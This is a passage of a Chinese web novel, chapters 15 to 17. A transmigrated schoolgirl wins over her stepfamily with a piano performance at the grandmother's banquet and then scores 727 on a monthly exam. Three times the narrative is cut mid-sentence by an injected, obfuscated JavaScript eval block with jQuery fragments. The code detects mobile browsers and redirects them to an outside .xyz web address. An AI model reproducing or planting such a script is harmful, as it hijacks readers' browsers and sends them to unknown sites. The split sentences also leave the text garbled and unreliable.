“啊原来是她啊,怎么一来到晏家又跟书蝶吵起来了?果然没什么教养,都不知道母亲怎么教的……”
时谣听着那些难听的话语,压下心中的烦躁,抬起清澈的眸子看向晏书蝶。
“晏书蝶小姐,请不要用手指着我。”时谣尽量温声细语。
晏书蝶轻哼一声:“之前不是不准你再来我家吗?你又来干什么?我告诉你,你要是像上次一样惹得我奶奶不高兴,我肯定要你好看!”
时谣上次来到这里的时候是在晏老太太70岁大寿。
原主初来乍到,孤立无援,有自视甚高的亲戚总是当着她的面故意说母亲时婳的坏话,也说时谣是个没教养的乡下女、泥腿子。
原主性格敏感偏激,面对这样的恶意自然无法忍受,于是忍不住大声争论起来,却惹得了晏老太太的不满。
“荒唐!时婳,你看看你的好女儿!就是这样在别人的宴席上闹事的吗?!我看你这个母亲做得也不合格,怎么有资格嫁给我们修远,抚养阿羽呢!”
晏修远打着圆场:“母亲消消气,谣谣只是小孩子心性,您不要怪她们……”
“哼!我还以为你是个明事理的,却只知道一个劲地袒护妻子和继女,自己的亲生儿子你照看过没有!从今往后,你不要带着她们再来我面前了,我不想再见到她们!”
于是时谣真的就三年没有见过晏老太太,但那次宴会上晏家人的嘲笑与恶意都深刻烙印在时谣的脑海之中,成了原主一生都挥之不去的阴影。
时谣沉默地捏紧拳头,周围人的目光令她再一次感受到了三年前的恶意,只是这次她不会再与人起冲突了。
她的一举一动都影响着母亲的声誉,她不能让时婳再一次遭到斥责。
“是晏老太太叫我来的,我没有在你们家闹事的计划,你不必担心。”
时谣不想跟晏书蝶纠缠下去,准备离开找个清净的地方待着。
可晏书蝶对她偏见很深,一挑眉梢:“你什么意思?奶奶怎么可能叫你过来?我警告你,不要在我奶奶面前晃悠,别以为成了我大伯的女儿就可以……”
“书蝶,够了。”晏羽冷淡的声音在身后响起。
晏书蝶吓了一跳,看到是自己的冷脸堂哥,忍不住瑟缩了一下:“哥,我……”
“她都没有主动招惹你,你这么咄咄逼人是做什么?”
晏羽面容平静,声音却带着极强的压迫感。
晏书蝶还是不服气:“哥,你今天怎么对她这么好了?!到底谁才是你亲妹妹啊!”
“那也不是你故意发难的理由,回去。”
亲哥在侧,晏书蝶还是不敢造次,只能不甘地看了时谣一眼,狠狠跺了跺脚。
“哼!我会让你们好看的!”
晏书蝶气冲冲地走了。
时谣很意外晏羽会为自己出头,晏羽处理完不懂事的妹妹,终于回过头看她。
时谣神色复杂:“你……”
“礼尚往来。”
晏羽淡淡道,也转身离开了。
时谣一顿,这才意识到,他或许说的是上次时谣帮他在晏修远面前说话的事。
经过晏羽这么一解围,倒是没有其他人上来打扰时谣了。
时谣感到无趣,便在宴会厅的角落里坐下,打开了单词软件,聚精会神地复习着单词。
虽然这些单词她早已熟悉,但对于时谣而言,每日的温习是必要的,所以她会尽量抓住每一个合适的机会,把自己所学的内容都复习一遍。
时谣投入做着一件事情的时候,身边的躁动往往都会被她屏蔽,因此很快就把刚刚的不愉快抛之脑后。
晏羽也看见了她的举动,却并没有说什么,只是遥遥看着专注的时谣,眸光渐深。
很快,晏修远就拉着晏家老太太出现在了整个宴会厅。
“老夫人出来了!”
“老妇人身体还康健吗?”
“唉,就应该多组织一下这样的家宴,好让我们能常回来看看您。”
“这话说的,好像没有家宴就不回来看老太太了一样?”
晏家老太太年逾七十,身体尚且利索,目光清明且有神,是当今晏家的主要话事人。
听到新的动静,时谣这才从单词软件里抬起头来,对着寻找自己的时婳笑笑。
时婳见女儿平安无事,终于放下心来,专注地跟在晏修远身侧。
面对小辈们的寒暄和关切,晏老太太只是和蔼的笑着:“好,好,常回来看看啊!”
一大家子其乐融融,可这些却跟时谣无关。
“今天叫大家过来呢,就是想看看小辈们了。”晏老太太笑呵呵道,“好久不见,大家都长这么大了呀。”
晏老太太关切地看着晏羽,拉过这个自己最骄傲的嫡长孙,欣慰地看着他。
“阿羽最近过得还好吗?有没有按时吃饭?平时家里有没有人为难你?”
此话一出,跟在晏老太太后面的时婳就微变脸色,知道的以为老太太关心大孙子,不知道的以为他这个做继母的怎么苛待继子了呢。
“谢谢奶奶关心,一切都好。”
晏羽主动上前搀扶着这个关切自己的老人,温和道。
“那就好,受了委屈一定要跟奶奶说啊!”
时婳从未做过为难继子的事情,眼下被这么内涵,也不太好受。
晏修远连忙打圆场道:“家里怎么会有人为难他呢?这小子好的很,妈你就放心吧。”
“我大孙子怎么样,我就不能关心几句?”晏老太太不满道,“他没有母亲陪在身边,你要忙着做生意,也就我这个做奶奶的人多关心他。”
晏老太太抬起眼,目光向整个宴会厅扫视着。
“你那个继女呢,今天有没有来?”
此话一出,许多人的目光就落到了时谣的身上。时谣心想该来的果然还是来了,叹了口气,站了起来。
“晏老夫人,我在这里。”
晏老太太目光挑剔地打量着时谣,见她妆容干净,裙装精致很是漂亮,脸上也没有一点之前的骄纵之色,不由的多看了几眼。
“听说你在圣斯特学院成绩一般,很快就要被退学了?”
晏老太太不轻不重地道,清明的双眼不怒自威,审视着时谣。
这个眼神时谣在晏羽身上看到过许多遍,心道果然是血脉相连,就连这种上位者的压迫感都是一脉相承。
还没等时谣回话,晏修远就连忙道:“妈,这都是开玩笑的。谣谣怎么会被退学呢?”
晏老太太冷哼一声:“别以为我年纪大了就不知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996704|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小辈们的事,她在学校表现怎么样,於绫早就跟我说了。作为堂堂晏家女学习成绩居然这么差,又爱缠着温家和苏家那几个小辈们跑,这让我们晏家把脸往哪里搁?”
晏修远还在劝:“妈,谣谣最近挺努力的。每个孩子天赋并不一样,只要她肯努力,都会赶上来的。至于其他的……谣谣只是年少慕艾,小孩子嘛,都会这样的。”
晏老太太训斥道:“你看看你,总是维护着那个没用的外来女!她都把我们晏家的脸丢光了!你的亲儿子这么优秀,你看见过他吗?”
熟悉的训话模式又开启了,大人说话小孩不好插嘴,时谣和晏羽都识趣地沉默下来。
晏修远不好忤逆长辈的意思,只能在母亲的数落之下,微笑着称是。
“学习不好也就算了。听说你之前还送他去学过乐器?学了什么?学得怎么样?”
“是钢琴……”晏修远道,不过他虽然送时谣学过钢琴,但是时谣的乐理天赋实在一般,学了两个月就没有继续往下学了。
晏老太太点头:“钢琴也行,钢琴能陶冶情操。多学学这种乐器,提升一下大家闺秀的范儿,别老跟个野丫头似的,到处闯祸。”
时谣站在原地,低头看着地上的砖缝。
晏书蝶刚刚被晏羽训斥过,内心早就记恨上了时谣。此时她站在老太太身侧,见着时谣这个样子,眼珠一转,坏心眼就开始形成。
“奶奶,既然她会钢琴,要不要让她表演一下?”晏书蝶亲密地拉起晏老太太的手臂晃了晃,“我们家今天宴会上的钢琴师有事没有来,刚好让她弹一曲,如何?”
“也是个好主意。”晏老太太颔首,“正好看看这段时间的练习如何。”
时婳此时的脸色已经很不好看了,今天得知晏老太太想见自己女儿的时候,她就担心会出什么事,果然晏老太太真的想让时谣难堪!
晏修远也是冷汗直冒,时谣几斤几两他还是知道的,试图委婉地阻止母亲:“妈,谣谣她的水平怎么比得上钢琴大家呢?今天只是家宴,万一她弹不好,岂不是扰了大家的兴致?”
“在长辈面前表演个节目怎么了?书蝶从小就喜欢在大人面前表现,怎么换成你那个女儿就不愿意了?”
晏老太太敲着拐杖,不满地冷哼一声。
眼见时婳就要发作,时谣赶紧上前两步,握住了母亲的手。
“好,我可以表演。”
时谣目光镇定,瞥向时婳的眼神带着安抚的意味,时婳连忙对她摇摇头:“谣谣,不想弹的话就算了,不要勉强。”
“没事,相信我,我可以。”
时谣的声音带着奇异的安定效果,父母看着她笃定的眼神,有些疑惑地对视。
晏书蝶早就听於绫姐姐说过时谣在圣斯特学院的表现,不仅知道她不学无术,还知道时谣总是跟个花痴一样纠缠校园f4。
至于钢琴?晏书蝶知晓时谣在音乐课上的表现,乐理水平一般,更是连最简单的简谱都不会看,怎么可能会弹钢琴?
晏书蝶等着看时谣的好戏,她挽着晏老太太的手臂,指了指宴会厅里的钢琴。
“那好,你就来给我们弹一首吧。”
时谣盯着她看了一会儿,对着几人点了一下头。
晏羽看着她一副游刃有余的样子,嘴唇微张,但却是什么都没有说。
时谣走到旁边的钢琴前,掀开琴盖,酝酿了一番情绪后,开始演奏起来。
众人微微瞪大了眼睛。
15. 相似
如果晏老太太要求时谣当场演奏其他乐器,时谣或许就招架不住这场为难了。
但是时谣上辈子可是学过十年的钢琴,拿到了高级专业证书,也在不少钢琴比赛上拿了奖。
而且原主的手指柔韧度其实不错,虽然比不上她上辈子弹钢琴的手,但是即兴演奏一场简单的钢琴曲还是没问题的。
于是她坐在钢琴前想了想,决定演奏一首自己蛮喜欢的简单曲目——《穿越时空的思念》。
这首曲子她上辈子弹奏过无数次,光是脑子里浮现出这个曲目的一瞬间,对应的五线谱就在脑子里展开。
时谣屏气凝神,抬起手,敲下第一个音符。
黑白琴键在她指尖跳跃着,婉转的琴音缓缓流淌,充斥着整个宴会厅。
情绪细致入微,手法娴熟,优美的琴音在宴会厅里缭绕,众人都没忍住沉浸在钢琴曲里。
“弹的还蛮好听的哎,看来她也不是什么都不会嘛。”
“会弹钢琴有什么用,学不会做人,那是一点用都没有。”
“听说他在学校总是追着温家那几个小子跑,年纪轻轻的,怎么就这么不知廉耻啊?”
“唉,她怎么就命好傍上我们晏家了呢?”
一开始众人还在讨论着时谣的事,但随着钢琴曲渐入佳境,便都忍不住沉浸在这优美的琴音里。
婉转的、动听的、娓娓道来的……翻飞的音符好像倾诉着什么,在这如珠玉般清透的声音里,流转着别样的情愫。
晏羽被这场演出触动,他看着优雅得体的少女,眼神动容。
不知道为何,他清晰地在这清新的琴音之中听出了一丝悲伤之意。
是思念。
她在思念谁?
虽然并不知道她在思念谁,但是晏羽却被琴音勾起了念想,母亲的音容笑貌浮现在他的脑海之中,越来越生动,越来越清晰。
时谣随着韵律轻微晃动身子,闭上眼睛,感受着从琴弦之中流露出来的情感,手指不停歇地演奏,最终完美地落下了最后一个音符。
一曲终了。
宴会厅安静如鸡,良久,才爆发出一阵掌声。
晏书蝶终于在这一曲中回过神来,下意识抹了一把自己的脸,却发现自己已经潸然而下。
晏书蝶:“?”
她很不想承认自己被时谣的琴声感触到,但却有一丝悲伤紧紧缭绕在她的心头,令她忍不住吸了吸鼻子。
转头去看晏羽,却见他的面容布满翳色,好像在下着连绵的雨。
好吧,全场估计只有她这么丢脸了。晏书蝶连忙擦了擦眼泪,非常傲娇地哼了一声:“这弹的什么呀?一点都不好听。”
时谣瞥了她一眼,见她眼眶发红却还故作苛责地指摘她的演奏,居然觉得有点可爱,忍不住对她露出一个笑。
晏书蝶愣了一下,有些不好意思地别过眼,随后像是意识到了什么似的猛地抬起头。
笑什么,她刚刚可是在挑衅时谣呢!她是不是没看懂啊就对自己笑笑笑!
时婳见自家女儿争气,面色终于好看了一点。但是脑子里同样也浮现出来一个疑问:谣谣曲子里的悲伤,是因为什么?
晏老太太也是面色复杂,她本想为难一下这个不知礼数的外来女,却没想到她真的把钢琴弹得有模有样,倒是没有传闻中的那么不堪。
晏修远没想到时谣弹钢琴这么厉害,松了口气,欣慰地笑了起来。
“妈,谣谣的演奏水平还可以吧!”
晏修远神色放松,似乎笃定晏老太太无法在这场演奏中挑出毛病,语气里隐隐有些骄傲之色。
“还行。”晏老太太无法在这件事上继续发难,清了清嗓子,转移了话题,“可是退学的事……”
“那是误会。”一直不出声的晏羽突然开口了,只是他低着头,让人无法在他的脸上看出什么,“她最近进步挺大,想来应该是不会被退学的。”
没想到一向不待见时谣的大孙子居然帮时谣说话,晏老太太眉头一拧:“这……”
“妈,别管小辈们的事了。”晏修远连忙支开她,对时婳使了个眼色,“听说您最近对裴先生的画作感兴趣?阿婳特地为您寻来一副,您赏脸跟我们去看看吧?”
在父母的连哄带骗下,晏老太太终于放弃为难时谣,跟着夫妻两人走了。
成功熬过一劫,时谣刚松一口气,就见晏书蝶气势汹汹地走了过来。
“你的钢琴技术是真的很一般,比起於绫姐姐差远了!”
於绫?时谣觉得这个名字好像有点熟悉,但她看了看晏书蝶故作嚣张的神色,一时间没有往这个名字上深想。
晏书蝶刚刚听到她弹琴明明都听哭了,不像是觉得她弹得不好的样子。时谣盯着晏书蝶看了一会儿,心想她或许是口嫌体正直,于是对她又笑起来:“嗯,谢谢你喜欢我的演奏。”
晏书蝶:“?”
她有病吧!谁喜欢她的演奏了!她明明在骂她弹得难听!
但时谣脸上笑吟吟的,又好看又亲切。晏书蝶本来就喜欢好看的人,见时谣对她笑得这么漂亮,一股子气又发不出来,憋在心里,卡得难受。
“真是有病。”她翻了个白眼,狠狠数落,“好赖话都听不出来,你可长点心吧!”
似乎是怕脑子不好会传染,晏书蝶不想多待,气势汹汹地走了。
时谣看着她的背影,忍不住摇了摇头。
转头却看见晏羽还在,不由得一顿。
“你不跟他们一起去吗?”
时谣疑惑地问道,晏羽却只是抬头看了她一眼,时谣这才注意到他也双目微红,眼底似乎有着深切的悲伤呈现。
晏羽的声音微沉:“你刚刚弹琴的时候,是在思念谁?”
时谣微微瞪大了眼睛。
“你的琴声中正在思念着某些人。”晏羽轻声道,“我听到了。”
时谣本来的演奏水平就很好,她早已弹过这个曲子无数次,自以为将情绪拿捏得恰如其分。但是这次演奏的时候,却无法控制地想起了上辈子的亲人。
她的父母早早就死了,抚养她长大的人是奶奶。她是一个很亲切的老人,爱着时谣的全部,从不像晏老太太这样苛责她。
时谣本来以为自己能陪伴奶奶一生,却不想出了车祸穿越了。如果奶奶在另一个时空里知道自己已经去世,一定会很伤心吧?
意识到自己真的被晏羽一句话勾起了思绪,时谣连忙将眼底的情绪掩盖下去:“思念吗?可是这首曲子的名字就叫做《穿越时空的思念》啊,听出思念不是理所应当?”
见她云淡风轻地对着自己笑着,眼底的愁绪被她极力藏得很深,却依旧被晏羽看了出来。
那一刻,晏羽突然毫无缘由地觉得,时谣,跟自己是一样的人。
一样的情绪,一样的思念,甚至就连身世都很相似。
晏羽心中情绪翻涌,似乎这么久以来第一次认识了这个妹妹。她跟他一样会在不为人知的时候思念着亲人,却从不把这种情绪在人前展露,就像玻璃器皿一样,坚硬却又易碎。
明明他们那么相似,她甚至没有庞大的家族在背后支持,他以前为什么要将她视作敌人呢?
明明,他们都很可怜。
时谣见他面色沉重地望着自己,刚想开两句玩笑活跃气氛,却见晏羽面色复杂地抬起了手。
时谣:“!”
她神色一僵,晏羽这是干嘛,不会是嫌她弹琴难听想要打她吧?她的演奏水平虽然说不上多好但也没有烂到这种程度吧?!
见时谣神色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996705|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
僵硬,晏羽伸出的手顿了一下,帮她揪了一下一缕乱发。
晏羽神色古怪地看着她:“怎么这幅表情?”
意识到是自己误会了他,时谣的脸很可耻地红了,说话也开始结巴起来:“不、不是,我以为……”
“以为……?”
太尴尬了,时谣放弃抵抗,故作镇定地转身就走:“我好像听到我妈喊我……我先走了!”
晏羽看着她同手同脚离开的背影,觉得她这幅样子可爱得紧,不由得轻轻勾起唇角。
……
在晏家老宅这顿饭真的是食之无味,不过借着这个机会,时谣也大概看清楚了晏家现在的形势。
晏家是个大家族,以晏老太太为首,晏修远那一辈分为大房二房三房四房,晏修远作为长子,继承家业已经是板上钉钉的事了。
时婳家世不太行,因此不受老太太待见,但她万事都做得得体,晏老太太想为难她也挑不出什么错处。但时婳有一个致命的弱点——时谣。
时婳很溺爱时谣,在晏老太太的眼里,这个女儿早就被时婳教坏了,一点都上不了台面。因此言辞间几番都想为难时谣,却被时婳和晏修远不着痕迹地挡了回去。
这顿饭吃得艰难,时谣觉得这简直是一场酷刑,尤其是晏书蝶还在一旁盯着她的一举一动,时不时露出嫌弃的目光。
但等时谣着看过去后,她又飞快地移开视线,低头吃饭的时候,可以很明显看到她泛红的耳尖。
时谣疑惑地看了看室内的温度,奇了怪了,这天也不热啊。
聚餐结束,时谣累得不行,缩回了自己的车内。
晏羽和亲戚们寒暄完,也跟着坐进了车,却见时谣又在车窗上哈气画画,只不过这次不再是那个沮丧的哭脸了,而是一个散发着淡淡死感的颜文字:
X_X
晏羽:“……”
他忍不住打量着时谣,平时活力满满的她像是一下子被抽干了力气,毫无灵魂地坐在车厢的角落里发呆。
晏羽不善言辞,但还是组织了一下语言安慰她:“奶奶并不是针对你,你保持现状就好,她会慢慢对你改观的。”
晏羽说的是实话,他很清楚晏老太太对于时谣的偏见都是来源于她带给晏家的“不体面”,只是现在的时谣已经跟以前很不一样了,以前的事带来的那一点偏见,很快就会随着时间消散。
时谣看了他一眼。
晏羽眸子里的情绪很轻很淡,但时谣却从中读出了一丝关切。
晏羽今天对她还挺好的,感觉他们的关系也在有所好转。只要这么继续下去,晏羽最后应该也不会那么恨她了吧。
“好。”撑在车窗上的少女巧笑嫣然,那双明澈的眸子,就如同星星那样亮,“都听哥哥的。”
晏羽被她眼中的神采吸引了,直到时谣挪开目光,喉结才滚动了一下,低低地应了一声“嗯”。
……
时婳一手广式早点做得出神入化,时谣连续被母爱滋养一段时间,感觉自己都圆了一圈。
好吃的东西当然要跟朋友分享。时谣将时婳做的早餐打包了三份,分了两个小跟班一人一份,剩下的那份跟着她来到了1班,准备送给姜望舒。
早读刚下课,整个1班门窗紧闭,难以寻人。
时谣正踌躇着要不要直接开门喊人,只是手刚伸出去一半,1班的门就被由内打开了。
开门的人居然是陆烬燃。
陆烬燃似乎愣了一下,但目光很快就落到了时谣手中的包装盒上,露出一抹傲慢的笑容。
“你来找谁?温言律,苏雾迟,还是我?虽然我说过再也不想看到你,但我今天刚好没吃早饭,既然你执意给我送吃的,那我就勉为其难收下好了。”
时谣:“……?”
16. 考试
见陆烬燃居高临下地伸来一只手,就想接过她手里的东西,时谣翻了个白眼,直接踩了他一脚。
陆烬燃“卧槽”一声,不可置信道:“时谣,你踩我?!”
时谣没搭理他,而是探头在1班里看了看,对着在讲台上擦黑板的身影展露笑颜:“望舒!”
姜望舒闻言回头,见是时谣,立刻放下黑板擦过来了。
“时谣,你……呃?”
姜望舒疑惑地看着捂着脚蹲在地上当蘑菇的陆烬燃,见他龇牙咧嘴地瞪着时谣,便朝时谣投去一个疑问的目光。
时谣却很淡定地无视掉陆烬燃宛如能杀人的视线,笑着拉过姜望舒的手:“他说蹲下风景好,我们别打扰他看风景。”
“啊?哦……”
姜望舒稀里糊涂地被时谣拉走了,陆烬燃气得跳了起来:“时!谣!”
被喊到名字的人却溜得更麻利了,一眨眼就消失在走廊拐角,不见踪影。
陆烬燃:“……”
他气笑了。
时谣将姜望舒拉到没人的角落,才笑着将手里的盒子递给她:“没吃早饭吧?这是我妈妈做的,快来尝尝。”
姜望舒:“!!!”
姜望舒有些动容地看着时谣,她家离圣斯特学院很远,每天都很早地起来上学,根本没时间吃早饭。
在圣斯特学院里,几乎没人关心她,姜望舒没想到时谣会注意到这种细节,有些感动:“嗯!”
她郑重地接过饭盒,小心翼翼地护在怀里:“谢谢你的关心!不过我没什么拿得出手的东西做回礼,你有什么想吃的吗,我可以做一点给你带过来……”
小白花女主看起来不擅长接受别人的好意,时谣笑道:“我想吃你家附近的酱香饼。”
“那我明早……”
时谣摇摇头:“等哪天有空我去找你玩的时候再尝试好了,我也好久没和朋友出去玩过了呢。”
姜望舒瞪大眼睛,找她玩……?
作为朋友,和时谣出去玩?!
不远处,路荧捏着保温杯,面无表情地看着两人。
她看着两人有说有笑,一副关系很好的样子,不由得露出了无语的表情。
装什么装,不就是知道姜望舒转到1班了,想借着和姜望舒做朋友的名义接近在1班的三个男神吗?时谣的这点伎俩实在太低级了,还跟穷酸的特招生混在一起,真是掉价。
想到自己上次搞鬼被时谣当众拆穿,路荧心里就憋着一股子气。
她平时在同学面前的形象都是良好的,就算做了坏事,只要及时甩锅给时谣就行。反正时谣讨人厌的形象深入人心,多背一口锅少背一口锅都没区别。
路荧本想这段时间里抓点时谣的错处,然后散布传言将错处放大再放大,却没想到时谣这段时间还真的在好好学习,不仅一点错处都抓不到,反而在班里的风评居然还好转了。
不是,这怎么行?
她不会真的想考过陆烬燃吧?
路荧眼珠一转,拧开了保温杯的盖子。
杯子里装着刚打满的热水,还在往外冒着热气。
见两人结束交谈,时谣转身朝自己这边走来,路荧勾唇,状似不经意地往时谣那边靠。
眼见就要和时谣擦肩而过,路荧偷偷将手中的杯子往时谣的方向倾斜。
可就在这一刻,另一只手上的杯盖却被人轻轻夺了过去。
时谣垂下眼睛将杯盖扣上,轻弹盖子边缘,盖子立刻就往里旋紧。
“小心烫到。”路荧瞪大眼睛,却听见女孩温和的声音在耳边响起,她控制不住转头看她,却见时谣抬眼对她轻笑,眼眸温润,像是和煦的风。
路荧呆愣在原地,时谣说完这话就转身离开了,连一个多余的眼神都没给她留。
她是什么意思……时谣轻弹杯盖的动作似乎还在眼前,那洁白纤细的手指似乎格外有力,原本不听话的杯盖在她手中好像被施了魔法一样,就这么轻易地旋紧了。
她刚刚可是准备拿热水泼她,她一点表示都没有吗?
路荧脑子混沌,她下意识回身往前走,却撞上了一个坚硬的胸膛。
路荧吓了一跳,抬头发现是陆烬燃,脸上泛起一丝红晕:“陆少……”
她的语气娇羞,陆烬燃低头瞥了她一眼,对她脸上浮现出来的迷恋熟视无睹,又回神专注盯着时谣的背影。
被时谣踩了一下的左脚还在隐隐发痛,陆烬燃越想越觉得郁闷,死丫头力气真大。
这些天来,时谣偶尔会借着探望姜望舒的名义出现在1班门口,本来以为这是时谣想接近他的全新借口,可是陆烬燃却发现自己想错了,她不仅从没搭理过自己,甚至连温言律和苏雾迟这两人也没给过一个眼神。
这是什么意思?
欲擒故纵吗?
虽然很不想承认,但陆烬燃却还是因为时谣的反常举动萌生出些许焦躁感,他望着时谣的背影消失在10班门口,硬朗帅气的脸上终于浮现出了几分阴翳。
陆烬燃回神,面无表情地盯着旁边娇羞看着他的路荧。
“你是10班的?”
路荧飞速点头,似乎对陆烬燃居然记得她这件事感到欣喜。
“那你和我说说,时谣这段时间,都在干些什么?”
……
时间过得飞快,很快就到了月考的日子。
时谣对高中知识早就了如指掌,从前她在学习上从来没有对手,这次穿越后见到一个731分的温言律,胜负欲早就被激了起来。
从温言律的同桌——姜望舒同学透露的敌方情报来看,温言律虽然理科超神,但是在语文和英语上还是差了一点。虽然这个“差了一点”依旧吊打普通人,但在时谣看来未必没有可乘之机。
圣斯特学院的考场都是随机分配的座位,时谣和两个小跟班们分到了不同的考场。朱颜和温馨然哭唧唧地跟她告别:“谣姐再见!希望考完这次月考我们还能在圣斯特做同学。”
她好笑地安慰视死如归的两人:“你们进步很大啊,肯定不会倒数第一的,相信自己!”
朱颜纠正:“不是啊谣姐,我们在担心你。”
温馨然道:“是啊是啊,你一定要加油考过陆烬燃啊,我们还是很想在圣斯特见到你的!”
时谣:“……”
时谣走进考场候考,旁边空着的座位很快就坐下一个人。
时谣正在看复习资料,随意往旁边瞄了一眼,却彻底愣住。
原来自己心心念念快一个月的731分选手温言律,就坐在自己旁边!
这还是时谣第一次近距离看他,他皮肤白皙,金丝眼镜下的眼神清冷,鼻子和下巴都很精致,倒像是朵不食人间烟火的高岭之花。
时谣看得有些出神,见他坐下来就开始温书,不自觉地观察起了他看书的动作。
学霸的记忆力超群,温言律温书很快,每一页扫了几眼就算是复习完成了。但时谣发现,他的视线在每一页的停留时间都十分精确地卡在了同样的秒数。
时谣心想,难道考731分的秘诀跟温书速度也有关系?
正这么想着,温言律却合上了书,不悦的视线飘了过来。
“你要看到什么时候?”
温言律不满道,他本来不想搭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011185|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理时谣,但她的视线实在太影响他复习了。
冷不丁被他逮到,时谣也不心虚,只是撑着脑袋收回目光:“谁看你了?”
温言律只当是她做贼心虚,皱了一下眉,但是又不想跟时谣说话,只能低下头继续看书。
两人气氛凝固,但很快,考试就降临了。
广播声宣读着考场纪律,试卷一个个下发。
时谣看了看考试的难度,心里很快有了数,沉下心神,提笔作答。
语文……数学……英语……三门选科……三天的时间迅速过去。
等到最后一科考试结束,每个人都像刚出笼的鸟一样自由地展翅飞翔:
“终于考完了,累死爷了。明天周末我要大玩特玩!”
“这次题目好难啊,我感觉复习的都没用上,我肯定考得很差怎么办?”
“哎呀放心啦,就咱们这成绩,也是没什么退步空间的。”
10班的人学习能力不说,但是这种考试心态可是一等一的好。
只有朱颜和温馨然比较焦虑,但是又觉得自己发挥得还不错。因为她们发现,经过这一段时间的学习,她们居然能看懂很多试卷上的题目了。
要知道以前她们连选择题都要瞎蒙,现在居然能算出答案了,两人清楚地知道这是飞一般的进步。
这一切都要归功于她们老大时谣。
她们一等到考完回来的时谣,就兴冲冲地赢上去,殷勤地捏肩递水:
“谣姐你回来啦!考得还好吗?”
“累坏了吧,我们给你捏捏!”
时谣笑着,有样学样,也给帮忙捶背的温馨然按在座位上捏捏肩。
时谣考了这么多年试,对自己的正确率早就有数,不出意外的话今天也是正常发挥。
但她看着两人表面镇定,其实早就已经担忧到不行的样子,又正了正颜色:
“还可以,你们不用担心。”
考试过后,老师们开始连夜阅卷。
自从电脑阅卷出来之后,阅卷的速度变得很快,就是将分数导入系统后计算排名多花了点时间。
不过在考试成绩出来的这段时间之前,学生们就已经满堂热议了。
“诶诶,你们说这次的年级第二不会还是姜望舒吧?”
“也有可能是雾迟王子呢,他上次肯定是没发挥好才掉到第三的。”
年级第一是谁毋庸置疑,温言律在圣斯特学院就读两年,每一次考试都稳坐第一的宝座。
于是这次众人也默认了温言律就是第一的情况,但年级第二变动很大,在姜望舒没有转来之前,年级第二大部分时候是苏雾迟在当。
“不过比起谁是第二,我更在乎时谣会不会被退学诶。你们说她有没有可能考过陆烬燃啊?”
路荧轻蔑一笑:“时谣?怎么可能。除非陆少一下子退步两百名,那她还有一点机会。”
陆烬燃上次拉着路荧问了点时谣的情况,路荧以为他是要打探敌情,便把时谣最近认真学习的事都跟他说了。
陆烬燃听完却只是冷笑一声:“学习?她怎么可能学习。”
对啊,时谣怎么可能学习,这段时间来的用功肯定都是装的。不过就算时谣用心学习了,怎么可能在短短一个月内突飞猛进,考过陆烬燃?
路荧笃定,等成绩出来后,时谣很快就会面临被退学的下场。
很快上课铃就打响了,班主任喜气洋洋地抱着年级排名表走进教室。
他看着数道眼巴巴的视线,笑道:“诶,看来已经有人知道今天出成绩了?”
此言一出,不少人兴奋到两眼放光。
17. 第一
当然,这种兴奋更多来自于吃瓜——时谣到底是会被退学,还是在考试里一鸣惊人,今天就要揭晓了!
班主任捏着手里的名单,故意卖了个关子:“这次考试,倒是有一位同学的进步令我刮目相看了。”
路荧露出一个得意的笑。
这段时间她请了特级家教来帮自己补习,她考完后对了答案,不出意外的话,这次考试应该可以进步个五十分左右。
那可是五十分啊!路荧本来就在10班名列前茅,五十分的进步可以直接让她考进9班,说不定8班也行。老师说的这个进步很大的同学,肯定就是自己了。
她得意地看了一眼时谣,只要自己进步的名次足够,那她就可以向学校申请转班了,再也不用跟时谣待在同一个班里。
听到班主任说这话,朱颜和温馨然越来越紧张。
温馨然十指交扣,虔诚祈祷:“拜托拜托一定要让我进步啊……我可不想被退学!”
朱颜倒是对自己的成绩有底,知道这次考试自己进步很大,只是这种公布成绩前夕的氛围,还是让她控制不住地冷汗直流。
有人着急道:“老师您就别卖关子了!快点公布我们的成绩吧!”
这句话简直说出了所有人的心声,班里瞬间爆发一阵整齐的附和。
班主任见状也不再拖延大家的情绪,直接公布了答案:“这位同学就是——时谣!总分727,进步了291名!”
一片寂静。
众人都被这句话蕴含的信息量惊呆了。
谁考了727分?
谁进步了291名?
时谣不仅进步了291名还考了727分?
等等,进步291名不就是年级第一吗?!
“老师你没说错吧,时谣考了七百多分?!”
“卧槽,时谣这么厉害的吗?!就认真学了一个月就真的考进1班了?!”
“我的天哪,这不可能!一定是算错了吧!”
班里爆发出一阵强烈的讨论,路荧直接被这巨大的信息量冲昏头脑,忍不住回头看向时谣。
可时谣却好像早就预料到这个名次,此时正拿着笔帽戳着自己的脸颊,望着窗外叫嚷的麻雀发呆。
怎么可能……!
